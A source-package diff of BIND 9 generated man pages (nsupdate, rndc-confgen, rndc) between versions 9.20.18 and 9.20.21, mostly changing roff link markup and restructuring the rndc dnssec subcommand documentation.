\fB\-O\fP, and it implies \fB\-S\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -112,8 +113,8 @@ .B \-E tlscertfile This option sets the certificate(s) file for authentication for the DNS\-over\-TLS (DoT) transport to the remote server. The certificate -chain file is expected to be in PEM format. This option implies \fI\%\-S\fP, -and can only be used with \fI\%\-K\fP\&. +chain file is expected to be in PEM format. This option implies \fB\-S\fP, +and can only be used with \fB\-K\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -125,7 +126,7 @@ .B \-H tlshostname This option makes \fBnsupdate\fP use the provided hostname during remote server TLS certificate verification. Otherwise, the DNS server name -is used. This option implies \fI\%\-S\fP\&. +is used. This option implies \fB\-S\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -136,12 +137,12 @@ .TP .B \-k keyfile This option indicates the file containing the TSIG authentication key. Keyfiles may be in -two formats: a single file containing a \fI\%named.conf\fP\-format \fBkey\fP -statement, which may be generated automatically by \fI\%ddns\-confgen\fP; +two formats: a single file containing a \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\-format \fBkey\fP +statement, which may be generated automatically by \fBddns\-confgen\fP \%<#\:std-iscman-ddns-confgen>; or a pair of files whose names are of the format \fBK{name}.+157.+{random}.key\fP and \fBK{name}.+157.+{random}.private\fP, which can be generated by -\fI\%dnssec\-keygen\fP\&. The \fI\%\-k\fP option can also be used to specify a SIG(0) +\fBdnssec\-keygen\fP \%<#\:std-iscman-dnssec-keygen>\&. The \fB\-k\fP option can also be used to specify a SIG(0) key used to authenticate Dynamic DNS update requests. In this case, the key specified is not an HMAC\-MD5 key. .UNINDENT @@ -150,8 +151,8 @@ .B \-K tlskeyfile This option sets the key file for authenticated encryption for the DNS\-over\-TLS (DoT) transport with the remote server. The private key file is -expected to be in PEM format. This option implies \fI\%\-S\fP, and can only -be used with \fI\%\-E\fP\&. +expected to be in PEM format. This option implies \fB\-S\fP, and can only +be used with \fB\-E\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -160,9 +161,9 @@ (disabling the \fBserver\fP so that the server address cannot be overridden). Connections to the local server use a TSIG key found in \fB@runstatedir@/session.key\fP, which is automatically -generated by \fI\%named\fP if any local \fBprimary\fP zone has set +generated by \fBnamed\fP \%<#\:std-iscman-named> if any local \fBprimary\fP zone has set \fBupdate\-policy\fP to \fBlocal\fP\&. The location of this key file can be -overridden with the \fI\%\-k\fP option. +overridden with the \fB\-k\fP option. .UNINDENT .INDENT 0.0 .TP @@ -175,7 +176,7 @@ This option is deprecated. Previously, it enabled a non\-standards\-compliant variant of GSS\-TSIG that was used by Windows 2000. Since that OS is now long past its end of life, this option is -now treated as a synonym for \fI\%\-g\fP\&. +now treated as a synonym for \fB\-g\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -183,8 +184,8 @@ This option enables Opportunistic TLS. When used, the remote peer\(aqs TLS certificate will not be verified. This option should be used for debugging purposes only, and it is not recommended to use it in production. This -option can not be used in conjuction with \fI\%\-A\fP, and it implies -\fI\%\-S\fP\&. +option can not be used in conjuction with \fB\-A\fP, and it implies +\fB\-S\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -196,7 +197,7 @@ .TP .B \-P This option prints the list of private BIND\-specific resource record types whose -format is understood by \fBnsupdate\fP\&. See also the \fI\%\-T\fP option. +format is understood by \fBnsupdate\fP\&. See also the \fB\-T\fP option. .UNINDENT .INDENT 0.0 .TP @@ -210,26 +211,26 @@ This option indicates whether to use DNS\-over\-TLS (DoT) when querying name servers specified by \fBserver servername port\fP syntax in the input file, and the primary server discovered through a SOA request. When the -\fI\%\-K\fP and \fI\%\-E\fP options are used, then the specified TLS +\fB\-K\fP and \fB\-E\fP options are used, then the specified TLS client certificate and private key pair are used for authentication -(Mutual TLS). This option implies \fI\%\-v\fP\&. +(Mutual TLS). This option implies \fB\-v\fP\&. .UNINDENT .INDENT 0.0 .TP .B \-t timeout This option sets the maximum time an update request can take before it is aborted. The default is 300 seconds. If zero, the timeout is disabled for TCP mode. For UDP mode, -the option \fI\%\-u\fP takes precedence over this option, unless the option \fI\%\-u\fP -is set to zero, in which case the interval is computed from the \fI\%\-t\fP timeout interval +the option \fB\-u\fP takes precedence over this option, unless the option \fB\-u\fP +is set to zero, in which case the interval is computed from the \fB\-t\fP timeout interval and the number of UDP retries. For UDP mode, the timeout can not be disabled, and will -be rounded up to 1 second in case if both \fI\%\-t\fP and \fI\%\-u\fP are set to zero. +be rounded up to 1 second in case if both \fB\-t\fP and \fB\-u\fP are set to zero. .UNINDENT .INDENT 0.0 .TP .B \-T This option prints the list of IANA standard resource record types whose format is understood by \fBnsupdate\fP\&. \fBnsupdate\fP exits after the lists -are printed. The \fI\%\-T\fP option can be combined with the \fI\%\-P\fP +are printed. The \fB\-T\fP option can be combined with the \fB\-P\fP option. .sp Other types can be entered using \fBTYPEXXXXX\fP where \fBXXXXX\fP is the @@ -267,7 +268,7 @@ \fBhmac\-sha512\fP\&. If \fBhmac\fP is not specified, the default is \fBhmac\-md5\fP, or if MD5 was disabled, \fBhmac\-sha256\fP\&. .sp -NOTE: Use of the \fI\%\-y\fP option is discouraged because the shared +NOTE: Use of the \fB\-y\fP option is discouraged because the shared secret is supplied as a command\-line argument in clear text. This may be visible in the output from ps1 or in a history file maintained by the user\(aqs shell. @@ -302,7 +303,7 @@ update requests are sent. If no port number is specified, the default DNS port number of 53 is used. .sp -\fBNOTE:\fP +\fBNote:\fP .INDENT 7.0 .INDENT 3.5 This command has no effect when GSS\-TSIG is in use. @@ -334,11 +335,11 @@ \fBkeyname\fP\-\fBsecret\fP pair. If \fBhmac\fP is specified, it sets the signing algorithm in use. The default is \fBhmac\-md5\fP; if MD5 was disabled, the default is \fBhmac\-sha256\fP\&. The \fBkey\fP command overrides any key -specified on the command line via \fI\%\-y\fP or \fI\%\-k\fP\&. +specified on the command line via \fB\-y\fP or \fB\-k\fP\&. .TP .B \fBgsstsig\fP This command uses GSS\-TSIG to sign the updates. This is equivalent to specifying -\fI\%\-g\fP on the command line. +\fB\-g\fP on the command line. .TP .B \fBoldgsstsig\fP This command is deprecated and will be removed in a future release. @@ -463,9 +464,9 @@ no resource records of any type for \fBnickname.example.com\fP\&. If there are, the update request fails. If this name does not exist, a CNAME for it is added. This ensures that when the CNAME is added, it cannot -conflict with the long\-standing rule in \X'tty: link https://datatracker.ietf.org/doc/html/rfc1034.html'\fI\%RFC 1034\fP\X'tty: link' that a name must not +conflict with the long\-standing rule in \fBRFC 1034\fP \% that a name must not exist as any other record type if it exists as a CNAME. (The rule has -been updated for DNSSEC in \X'tty: link https://datatracker.ietf.org/doc/html/rfc2535.html'\fI\%RFC 2535\fP\X'tty: link' to allow CNAMEs to have RRSIG, +been updated for DNSSEC in \fBRFC 2535\fP \% to allow CNAMEs to have RRSIG, DNSKEY, and NSEC records.) .SH FILES .INDENT 0.0 @@ -477,23 +478,22 @@ Sets the default TSIG key for use in local\-only mode .TP .B \fBK{name}.+157.+{random}.key\fP -Base\-64 encoding of the HMAC\-MD5 key created by \fI\%dnssec\-keygen\fP\&. +Base\-64 encoding of the HMAC\-MD5 key created by \fBdnssec\-keygen\fP \%<#\:std-iscman-dnssec-keygen>\&. .TP .B \fBK{name}.+157.+{random}.private\fP -Base\-64 encoding of the HMAC\-MD5 key created by \fI\%dnssec\-keygen\fP\&. +Base\-64 encoding of the HMAC\-MD5 key created by \fBdnssec\-keygen\fP \%<#\:std-iscman-dnssec-keygen>\&. .UNINDENT .SH SEE ALSO .sp -\X'tty: link https://datatracker.ietf.org/doc/html/rfc2136.html'\fI\%RFC 2136\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc3007.html'\fI\%RFC 3007\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc2104.html'\fI\%RFC 2104\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc2845.html'\fI\%RFC 2845\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc1034.html'\fI\%RFC 1034\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc2535.html'\fI\%RFC 2535\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc2931.html'\fI\%RFC 2931\fP\X'tty: link', -\fI\%named(8)\fP, \fI\%dnssec\-keygen(8)\fP, \fI\%tsig\-keygen(8)\fP\&. +\fBRFC 2136\fP \%, \fBRFC 3007\fP \%, \fBRFC 2104\fP \%, \fBRFC 2845\fP \%, \fBRFC 1034\fP \%, \fBRFC 2535\fP \%, \fBRFC 2931\fP \%, +\fBnamed(8)\fP \%<#\:std-iscman-named>, \fBdnssec\-keygen(8)\fP \%<#\:std-iscman-dnssec-keygen>, \fBtsig\-keygen(8)\fP \%<#\:std-iscman-tsig-keygen>\&. .SH BUGS .sp The TSIG key is redundantly stored in two separate files. This is a consequence of \fBnsupdate\fP using the DST library for its cryptographic operations, and may change in future releases. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/rndc-confgen.8in bind9-9.20.21/doc/man/rndc-confgen.8in --- bind9-9.20.18/doc/man/rndc-confgen.8in 2026-01-09 13:41:22.416980011 +0000 +++ bind9-9.20.21/doc/man/rndc-confgen.8in 2026-03-13 22:17:47.282254905 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -35,26 +36,26 @@ \fBrndc\-confgen\fP [\fB\-a\fP] [\fB\-A\fP algorithm] [\fB\-b\fP keysize] [\fB\-c\fP keyfile] [\fB\-h\fP] [\fB\-k\fP keyname] [\fB\-p\fP port] [\fB\-s\fP address] [\fB\-t\fP chrootdir] [\fB\-u\fP user] .SH DESCRIPTION .sp -\fBrndc\-confgen\fP generates configuration files for \fI\%rndc\fP\&. It can be -used as a convenient alternative to writing the \fI\%rndc.conf\fP file and -the corresponding \fBcontrols\fP and \fBkey\fP statements in \fI\%named.conf\fP -by hand. Alternatively, it can be run with the \fI\%\-a\fP option to set up a -\fBrndc.key\fP file and avoid the need for a \fI\%rndc.conf\fP file and a +\fBrndc\-confgen\fP generates configuration files for \fBrndc\fP \%<#\:std-iscman-rndc>\&. It can be +used as a convenient alternative to writing the \fBrndc.conf\fP \%<#\:std-iscman-rndc\:.conf> file and +the corresponding \fBcontrols\fP and \fBkey\fP statements in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> +by hand. Alternatively, it can be run with the \fB\-a\fP option to set up a +\fBrndc.key\fP file and avoid the need for a \fBrndc.conf\fP \%<#\:std-iscman-rndc\:.conf> file and a \fBcontrols\fP statement altogether. .SH OPTIONS .INDENT 0.0 .TP .B \-a -This option sets automatic \fI\%rndc\fP configuration, which creates a file -\fB@sysconfdir@/rndc.key\fP that is read by both \fI\%rndc\fP and \fI\%named\fP on startup. +This option sets automatic \fBrndc\fP \%<#\:std-iscman-rndc> configuration, which creates a file +\fB@sysconfdir@/rndc.key\fP that is read by both \fBrndc\fP \%<#\:std-iscman-rndc> and \fBnamed\fP \%<#\:std-iscman-named> on startup. The \fBrndc.key\fP file defines a default command channel and -authentication key allowing \fI\%rndc\fP to communicate with \fI\%named\fP on +authentication key allowing \fBrndc\fP \%<#\:std-iscman-rndc> to communicate with \fBnamed\fP \%<#\:std-iscman-named> on the local host with no further configuration. .sp If a more elaborate configuration than that generated by -\fI\%rndc\-confgen \-a\fP is required, for example if rndc is to be used -remotely, run \fBrndc\-confgen\fP without the \fI\%\-a\fP option -and set up \fI\%rndc.conf\fP and \fI\%named.conf\fP as directed. +\fBrndc\-confgen \-a\fP is required, for example if rndc is to be used +remotely, run \fBrndc\-confgen\fP without the \fB\-a\fP option +and set up \fBrndc.conf\fP \%<#\:std-iscman-rndc\:.conf> and \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> as directed. .UNINDENT .INDENT 0.0 .TP @@ -72,7 +73,7 @@ .INDENT 0.0 .TP .B \-c keyfile -This option is used with the \fI\%\-a\fP option to specify an alternate location for +This option is used with the \fB\-a\fP option to specify an alternate location for \fBrndc.key\fP\&. .UNINDENT .INDENT 0.0 @@ -84,14 +85,14 @@ .INDENT 0.0 .TP .B \-k keyname -This option specifies the key name of the \fI\%rndc\fP authentication key. This must be a +This option specifies the key name of the \fBrndc\fP \%<#\:std-iscman-rndc> authentication key. This must be a valid domain name. The default is \fBrndc\-key\fP\&. .UNINDENT .INDENT 0.0 .TP .B \-p port -This option specifies the command channel port where \fI\%named\fP listens for -connections from \fI\%rndc\fP\&. The default is 953. +This option specifies the command channel port where \fBnamed\fP \%<#\:std-iscman-named> listens for +connections from \fBrndc\fP \%<#\:std-iscman-rndc>\&. The default is 953. .UNINDENT .INDENT 0.0 .TP @@ -101,41 +102,40 @@ .INDENT 0.0 .TP .B \-s address -This option specifies the IP address where \fI\%named\fP listens for command\-channel -connections from \fI\%rndc\fP\&. The default is the loopback address +This option specifies the IP address where \fBnamed\fP \%<#\:std-iscman-named> listens for command\-channel +connections from \fBrndc\fP \%<#\:std-iscman-rndc>\&. The default is the loopback address 127.0.0.1. .UNINDENT .INDENT 0.0 .TP .B \-t chrootdir -This option is used with the \fI\%\-a\fP option to specify a directory where \fI\%named\fP +This option is used with the \fB\-a\fP option to specify a directory where \fBnamed\fP \%<#\:std-iscman-named> runs chrooted. An additional copy of the \fBrndc.key\fP is written relative to this directory, so that it is found by the -chrooted \fI\%named\fP\&. +chrooted \fBnamed\fP \%<#\:std-iscman-named>\&. .UNINDENT .INDENT 0.0 .TP .B \-u user -This option is used with the \fI\%\-a\fP option to set the owner of the generated \fBrndc.key\fP file. -If \fI\%\-t\fP is also specified, only the file in the chroot +This option is used with the \fB\-a\fP option to set the owner of the generated \fBrndc.key\fP file. +If \fB\-t\fP is also specified, only the file in the chroot area has its owner changed. .UNINDENT .SH EXAMPLES .sp -To allow \fI\%rndc\fP to be used with no manual configuration, run: +To allow \fBrndc\fP \%<#\:std-iscman-rndc> to be used with no manual configuration, run: .sp \fBrndc\-confgen \-a\fP .sp -To print a sample \fI\%rndc.conf\fP file and the corresponding \fBcontrols\fP and -\fBkey\fP statements to be manually inserted into \fI\%named.conf\fP, run: +To print a sample \fBrndc.conf\fP \%<#\:std-iscman-rndc\:.conf> file and the corresponding \fBcontrols\fP and +\fBkey\fP statements to be manually inserted into \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>, run: .sp \fBrndc\-confgen\fP .SH SEE ALSO .sp -\fI\%rndc(8)\fP, \fI\%rndc.conf(5)\fP, \fI\%named(8)\fP, BIND 9 Administrator Reference Manual. -.SH AUTHOR +\fBrndc(8)\fP \%<#\:std-iscman-rndc>, \fBrndc.conf(5)\fP \%<#\:std-iscman-rndc\:.conf>, \fBnamed(8)\fP \%<#\:std-iscman-named>, BIND 9 Administrator Reference Manual. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/rndc.8in bind9-9.20.21/doc/man/rndc.8in --- bind9-9.20.18/doc/man/rndc.8in 2026-01-09 13:41:22.440980649 +0000 +++ bind9-9.20.21/doc/man/rndc.8in 2026-03-13 22:17:47.308255309 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -42,7 +43,7 @@ .sp \fBrndc\fP communicates with the name server over a TCP connection, sending commands authenticated with digital signatures. In the current -versions of \fBrndc\fP and \fI\%named\fP, the only supported authentication +versions of \fBrndc\fP and \fBnamed\fP \%<#\:std-iscman-named>, the only supported authentication algorithms are HMAC\-MD5 (for compatibility), HMAC\-SHA1, HMAC\-SHA224, HMAC\-SHA256 (default), HMAC\-SHA384, and HMAC\-SHA512. They use a shared secret on each end of the connection, which provides TSIG\-style @@ -108,7 +109,7 @@ .INDENT 0.0 .TP .B \-r -This option instructs \fBrndc\fP to print the result code returned by \fI\%named\fP +This option instructs \fBrndc\fP to print the result code returned by \fBnamed\fP \%<#\:std-iscman-named> after executing the requested command (e.g., ISC_R_SUCCESS, ISC_R_FAILURE, etc.). .UNINDENT @@ -128,7 +129,7 @@ .TP .B \-y server_key This option indicates use of the key \fBserver_key\fP from the configuration file. For control message validation to succeed, \fBserver_key\fP must be known -by \fI\%named\fP with the same algorithm and secret string. If no \fBserver_key\fP is specified, +by \fBnamed\fP \%<#\:std-iscman-named> with the same algorithm and secret string. If no \fBserver_key\fP is specified, \fBrndc\fP first looks for a key clause in the server statement of the server being used, or if no server statement is present for that host, then in the default\-key clause of the options statement. Note that @@ -148,14 +149,14 @@ This command adds a zone while the server is running. This command requires the \fBallow\-new\-zones\fP option to be set to \fByes\fP\&. The configuration string specified on the command line is the zone -configuration text that would ordinarily be placed in \fI\%named.conf\fP\&. +configuration text that would ordinarily be placed in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .sp The configuration is saved in a file called \fBviewname.nzf\fP (or, if -\fI\%named\fP is compiled with liblmdb, an LMDB database file called +\fBnamed\fP \%<#\:std-iscman-named> is compiled with liblmdb, an LMDB database file called \fBviewname.nzd\fP). \fBviewname\fP is the name of the view, unless the view name contains characters that are incompatible with use as a file name, in which case a cryptographic hash of the view name is used -instead. When \fI\%named\fP is restarted, the file is loaded into +instead. When \fBnamed\fP \%<#\:std-iscman-named> is restarted, the file is loaded into the view configuration so that zones that were added can persist after a restart. .sp @@ -167,7 +168,7 @@ (Note the brackets around and semi\-colon after the zone configuration text.) .sp -See also \fI\%rndc delzone\fP and \fI\%rndc modzone\fP\&. +See also \fBrndc delzone\fP and \fBrndc modzone\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -182,42 +183,57 @@ .sp If the zone was originally added via \fBrndc addzone\fP, then it is removed permanently. However, if it was originally configured in -\fI\%named.conf\fP, then that original configuration remains in place; +\fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>, then that original configuration remains in place; when the server is restarted or reconfigured, the zone is recreated. To remove it permanently, it must also be removed from -\fI\%named.conf\fP\&. +\fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .sp -See also \fI\%rndc addzone\fP and \fI\%rndc modzone\fP\&. +See also \fBrndc addzone\fP and \fBrndc modzone\fP\&. .UNINDENT .INDENT 0.0 .TP -.B dnssec (\-status | \-step | \-rollover \-key id [\-alg algorithm] [\-when time] | \-checkds [\-key id [\-alg algorithm]] [\-when time] published | withdrawn)) zone [class [view]] -This command allows you to interact with the \(dqdnssec\-policy\(dq of a given -zone. -.sp -\fBrndc dnssec \-status\fP show the DNSSEC signing state for the specified -zone. -.sp -\fBrndc dnssec \-step\fP sends a signal to an instance of \fI\%named\fP for a +.B dnssec +The following commands allow you to interact with the \(dqdnssec\-policy\(dq of a +given zone. +.INDENT 7.0 +.TP +.B \-checkds [\-key id [\-alg algorithm]] [\-when time] (published | withdrawn) zone [class [view]] +This command informs \fBnamed\fP \%<#\:std-iscman-named> that the DS for a specified zone\(aqs +key\-signing key (KSK) has been confirmed to be published in, or withdrawn +from, the parent zone. This is required in order to complete a KSK +rollover. The \fB\-key id\fP and \fB\-alg algorithm\fP arguments can be used to +specify a particular KSK, if necessary; if there is only one key acting +as a KSK for the zone, these arguments can be omitted. The time of +publication or withdrawal for the DS is set to the current time by +default, but can be overridden to a specific time with the argument +\fB\-when time\fP, where \fBtime\fP is expressed in YYYYMMDDHHMMSS notation. +.UNINDENT +.INDENT 7.0 +.TP +.B \-rollover \-key id [\-alg algorithm] [\-when time] zone [class [view]] +This command allows you to schedule key rollover for a specific key +(overriding the original key lifetime). The \fB\-key id\fP and +\fB\-alg algorithm\fP arguments specify which key to roll. The time to start +the rollover can be set with \fB\-when time\fP, where \fBtime\fP is expressed in +YYYYMMDDHHMMSS. If not set the rollover will start immediately. +.UNINDENT +.INDENT 7.0 +.TP +.B \-status [\-v] zone [class [view]] +This command shows the DNSSEC signing state for the specified zone. +Adding \fB\-v\fP also lists no longer used keys and shows the key states of +the keys. +.UNINDENT +.INDENT 7.0 +.TP +.B \-step zone [class [view]] +This command sends a signal to an instance of \fBnamed\fP \%<#\:std-iscman-named> for a zone configured with \fBdnssec\-policy\fP in manual mode, telling it to continue with the operations that had previously been blocked but logged. This gives the human operator a chance to review the log messages, understand what will happen next and then, using \fBrndc dnssec \-step\fP, to -inform \fI\%named\fP to proceed to the next stage. -.sp -\fBrndc dnssec \-rollover\fP allows you to schedule key rollover for a -specific key (overriding the original key lifetime). -.sp -\fBrndc dnssec \-checkds\fP informs \fI\%named\fP that the DS for -a specified zone\(aqs key\-signing key has been confirmed to be published -in, or withdrawn from, the parent zone. This is required in order to -complete a KSK rollover. The \fB\-key id\fP and \fB\-alg algorithm\fP arguments -can be used to specify a particular KSK, if necessary; if there is only -one key acting as a KSK for the zone, these arguments can be omitted. -The time of publication or withdrawal for the DS is set to the current -time by default, but can be overridden to a specific time with the -argument \fB\-when time\fP, where \fBtime\fP is expressed in YYYYMMDDHHMMSS -notation. +inform \fBnamed\fP \%<#\:std-iscman-named> to proceed to the next stage. +.UNINDENT .UNINDENT .INDENT 0.0 .TP @@ -225,7 +241,7 @@ This command closes and re\-opens DNSTAP output files. .sp \fBrndc dnstap \-reopen\fP allows -the output file to be renamed externally, so that \fI\%named\fP can +the output file to be renamed externally, so that \fBnamed\fP \%<#\:std-iscman-named> can truncate and re\-open it. .sp \fBrndc dnstap \-roll\fP causes the output file @@ -277,7 +293,7 @@ journal file to be synced into the master file. All dynamic update attempts are refused while the zone is frozen. .sp -See also \fI\%rndc thaw\fP\&. +See also \fBrndc thaw\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -285,11 +301,11 @@ This command stops the server immediately. Recent changes made through dynamic update or IXFR are not saved to the master files, but are rolled forward from the journal files when the server is restarted. If -\fB\-p\fP is specified, \fI\%named\fP\(aqs process ID is returned. This allows -an external process to determine when \fI\%named\fP has completed +\fB\-p\fP is specified, \fBnamed\fP \%<#\:std-iscman-named>\(aqs process ID is returned. This allows +an external process to determine when \fBnamed\fP \%<#\:std-iscman-named> has completed halting. .sp -See also \fI\%rndc stop\fP\&. +See also \fBrndc stop\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -302,7 +318,7 @@ .B loadkeys [zone [class [view]]] This command fetches all DNSSEC keys for the given zone from the key directory. If they are within their publication period, they are merged into the -zone\(aqs DNSKEY RRset. Unlike \fI\%rndc sign\fP, however, the zone is not +zone\(aqs DNSKEY RRset. Unlike \fBrndc sign\fP, however, the zone is not immediately re\-signed by the new keys, but is allowed to incrementally re\-sign over time. .sp @@ -312,7 +328,7 @@ .TP .B managed\-keys (status | refresh | sync | destroy) [class [view]] This command inspects and controls the \(dqmanaged\-keys\(dq database which handles -\X'tty: link https://datatracker.ietf.org/doc/html/rfc5011.html'\fI\%RFC 5011\fP\X'tty: link' DNSSEC trust anchor maintenance. If a view is specified, these +\fBRFC 5011\fP \% DNSSEC trust anchor maintenance. If a view is specified, these commands are applied to that view; otherwise, they are applied to all views. .INDENT 7.0 @@ -337,11 +353,11 @@ .sp Existing keys that are already trusted are not deleted from memory; DNSSEC validation can continue after this command is used. -However, key maintenance operations cease until \fI\%named\fP is +However, key maintenance operations cease until \fBnamed\fP \%<#\:std-iscman-named> is restarted or reconfigured, and all existing key maintenance states are deleted. .sp -Running \fI\%rndc reconfig\fP or restarting \fI\%named\fP immediately +Running \fBrndc reconfig\fP or restarting \fBnamed\fP \%<#\:std-iscman-named> immediately after this command causes key maintenance to be reinitialized from scratch, just as if the server were being started for the first time. This is primarily intended for testing, but it may @@ -353,15 +369,15 @@ .INDENT 0.0 .TP .B memprof [(on | off | dump)] -This command controls memory profiling. To have any effect, \fI\%named\fP must be +This command controls memory profiling. To have any effect, \fBnamed\fP \%<#\:std-iscman-named> must be built with jemalloc, the library have profiling support enabled and run with the \fBprof:true\fP allocator configuration. (either via \fBMALLOC_CONF\fP or \fB/etc/malloc.conf\fP) .sp The \fBprof_active:false\fP option is recommended to ensure the profiling overhead does -not affect \fI\%named\fP when not needed. +not affect \fBnamed\fP \%<#\:std-iscman-named> when not needed. .sp The \fBon\fP and \fBoff\fP options will start and stop the jemalloc memory profiling respectively. -When run with the \fIdump\fP option, \fI\%named\fP will dump the profile to the working +When run with the \fIdump\fP option, \fBnamed\fP \%<#\:std-iscman-named> will dump the profile to the working directory. The name will be chosen automatically by jemalloc. .UNINDENT .INDENT 0.0 @@ -371,18 +387,18 @@ running. This command requires the \fBallow\-new\-zones\fP option to be set to \fByes\fP\&. As with \fBaddzone\fP, the configuration string specified on the command line is the zone configuration text that would ordinarily be -placed in \fI\%named.conf\fP\&. +placed in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .sp -If the zone was originally added via \fI\%rndc addzone\fP, the +If the zone was originally added via \fBrndc addzone\fP, the configuration changes are recorded permanently and are still in effect after the server is restarted or reconfigured. However, if -it was originally configured in \fI\%named.conf\fP, then that original +it was originally configured in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>, then that original configuration remains in place; when the server is restarted or reconfigured, the zone reverts to its original configuration. To make the changes permanent, it must also be modified in -\fI\%named.conf\fP\&. +\fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .sp -See also \fI\%rndc addzone\fP and \fI\%rndc delzone\fP\&. +See also \fBrndc addzone\fP and \fBrndc delzone\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -394,25 +410,25 @@ .B notrace This command sets the server\(aqs debugging level to 0. .sp -See also \fI\%rndc trace\fP\&. +See also \fBrndc trace\fP\&. .UNINDENT .INDENT 0.0 .TP .B nta [(\-class class | \-dump | \-force | \-remove | \-lifetime duration)] domain [view] This command sets a DNSSEC negative trust anchor (NTA) for \fBdomain\fP, with a lifetime of \fBduration\fP\&. The default lifetime is configured in -\fI\%named.conf\fP via the \fBnta\-lifetime\fP option, and defaults to one +\fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> via the \fBnta\-lifetime\fP option, and defaults to one hour. The lifetime cannot exceed one week. .sp A negative trust anchor selectively disables DNSSEC validation for zones that are known to be failing because of misconfiguration rather than an attack. When data to be validated is at or below an active -NTA (and above any other configured trust anchors), \fI\%named\fP +NTA (and above any other configured trust anchors), \fBnamed\fP \%<#\:std-iscman-named> aborts the DNSSEC validation process and treats the data as insecure rather than bogus. This continues until the NTA\(aqs lifetime has elapsed. .sp -NTAs persist across restarts of the \fI\%named\fP server. The NTAs for a +NTAs persist across restarts of the \fBnamed\fP \%<#\:std-iscman-named> server. The NTAs for a view are saved in a file called \fBname.nta\fP, where \fBname\fP is the name of the view; if it contains characters that are incompatible with use as a file name, a cryptographic hash is generated from the name of @@ -430,7 +446,7 @@ of existing NTAs is printed. Note that this may include NTAs that are expired but have not yet been cleaned up. .sp -Normally, \fI\%named\fP periodically tests to see whether data below +Normally, \fBnamed\fP \%<#\:std-iscman-named> periodically tests to see whether data below an NTA can now be validated (see the \fBnta\-recheck\fP option in the Administrator Reference Manual for details). If data can be validated, then the NTA is regarded as no longer necessary and is @@ -458,21 +474,21 @@ .sp Query logging can also be enabled by explicitly directing the \fBqueries\fP \fBcategory\fP to a \fBchannel\fP in the \fBlogging\fP section -of \fI\%named.conf\fP, or by specifying \fBquerylog yes;\fP in the -\fBoptions\fP section of \fI\%named.conf\fP\&. +of \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>, or by specifying \fBquerylog yes;\fP in the +\fBoptions\fP section of \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .UNINDENT .INDENT 0.0 .TP .B reconfig This command reloads the configuration file and loads new zones, but does not reload existing zone files even if they have changed. This is faster than a -full \fI\%rndc reload\fP when there is a large number of zones, because it +full \fBrndc reload\fP when there is a large number of zones, because it avoids the need to examine the modification times of the zone files. .UNINDENT .INDENT 0.0 .TP .B recursing -This command dumps the list of queries \fI\%named\fP is currently +This command dumps the list of queries \fBnamed\fP \%<#\:std-iscman-named> is currently recursing on, and the list of domains to which iterative queries are currently being sent. .sp @@ -525,8 +541,8 @@ .sp Unlike query logging, response logging cannot be enabled by explicitly directing the \fBresponses\fP \fBcategory\fP to a \fBchannel\fP in the \fBlogging\fP section -of \fI\%named.conf\fP, but it can still be enabled by specifying -\fBresponselog yes;\fP in the \fBoptions\fP section of \fI\%named.conf\fP\&. +of \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>, but it can still be enabled by specifying +\fBresponselog yes;\fP in the \fBoptions\fP section of \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .UNINDENT .INDENT 0.0 .TP @@ -544,7 +560,7 @@ .TP .B scan This command scans the list of available network interfaces for changes, without -performing a full \fI\%rndc reconfig\fP or waiting for the +performing a full \fBrndc reconfig\fP or waiting for the \fBinterface\-interval\fP timer. .UNINDENT .INDENT 0.0 @@ -562,19 +578,19 @@ \fBrndc\fP response channel and printed to the standard output. Otherwise, it is written to the secroots dump file, which defaults to \fBnamed.secroots\fP, but can be overridden via the \fBsecroots\-file\fP -option in \fI\%named.conf\fP\&. +option in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .sp -See also \fI\%rndc managed\-keys\fP\&. +See also \fBrndc managed\-keys\fP\&. .UNINDENT .INDENT 0.0 .TP .B serve\-stale (on | off | reset | status) [class [view]] This command enables, disables, resets, or reports the current status of -the serving of stale answers as configured in \fI\%named.conf\fP\&. +the serving of stale answers as configured in \fBnamed.conf\fP 